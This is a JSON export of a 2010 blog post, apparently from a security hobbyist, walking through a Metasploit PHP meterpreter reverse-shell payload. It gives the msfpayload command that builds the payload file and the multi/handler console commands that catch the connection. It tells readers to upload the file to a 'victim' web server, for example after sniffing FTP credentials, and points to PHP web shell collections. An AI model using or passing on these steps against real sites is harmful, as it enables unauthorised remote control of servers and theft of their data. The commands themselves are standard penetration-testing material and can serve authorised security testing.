{"id":412,"date":"2010-07-03T03:03:31","date_gmt":"2010-07-03T08:03:31","guid":{"rendered":"http:\/\/zitstif.no-ip.org\/?p=412"},"modified":"2011-05-14T21:13:21","modified_gmt":"2011-05-15T02:13:21","slug":"php-meterpreter-payload","status":"publish","type":"post","link":"http:\/\/zitstif.no-ip.org\/?p=412","title":{"rendered":"PHP meterpreter payload"},"content":{"rendered":"<p>Today I&#8217;ll be showing a new feature that has just been added to the Metasploit framework.<\/p>\n<p><a title=\"http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html\" href=\"http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html\" target=\"_blank\">http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html<\/a><\/p>\n<p>When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain parameters are met.<\/p>\n<p>One parameter that must be met, is that the server must allow system commands through PHP. If the server permits system commands through PHP, then a PHP shell will be a great tool for further assessment and possible privilege escalation.<\/p>\n<p>If you surf around on the internet looking for PHP shells, you&#8217;ll find ones such as: c99.php, DXshell.php. Honestly,  check out: <a title=\"php-shell.org\/\" href=\"http:\/\/php-shell.org\/\" target=\"_blank\">php-shell.org <\/a><\/p>\n<p>Now as part of the Metasploit framework, pentesters can now use meterpreter as a php payload. I will run through a quick example of how to create a meterpreter php payload and how to execute it:<\/p>\n<pre lang=\"bash\">msfpayload php\/meterpreter\/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R &gt; mypayload.php<\/pre>\n<p>With this file you can use it on the web server to get a reverse connection. Hopefully, you have gained some sort of write access to the www directory on the victim&#8217;s website. (For example, if you were to sniff \/ capture ftp credentials to the victim&#8217;s website). Other scenarios for gaining access to the system, may include local or remote file inclusion.<\/p>\n<p>On the attacker&#8217;s end all you have to do is setup msfconsole and use the multi\/handler. The following commands should be issued:<\/p>\n<p>msf &gt;use multi\/handler<br \/>\nmsf &gt;set PAYLOAD php\/meterpreter\/reverse_tcp<br \/>\nmsf &gt;set LHOST 127.0.0.1<br \/>\nmsf &gt;set LPORT 4444<br \/>\nmsf &gt;exploit -z -j<\/p>\n<p>All the attacker needs to do now, is simply visit to page http:\/\/victim.com\/mypayload.php and ideally the attacker should be able to get a meterpreter session.<\/p>\n<p>More to come as usual&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I&#8217;ll be showing a new feature that has just been added to the Metasploit framework. http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain &hellip; <a href=\"http:\/\/zitstif.no-ip.org\/?p=412\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">PHP meterpreter payload<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[244,28,124,239,240,242,243,241],"class_list":["post-412","post","type-post","status-publish","format-standard","hentry","category-posts","tag-local-file-inclusion","tag-metasploit","tag-meterpreter","tag-php","tag-php-shells","tag-php-system","tag-remote-file-inclusion","tag-reverse_tcp"],"_links":{"self":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=412"}],"version-history":[{"count":9,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/412\/revisions"}],"predecessor-version":[{"id":483,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/412\/revisions\/483"}],"wp:attachment":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=412"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}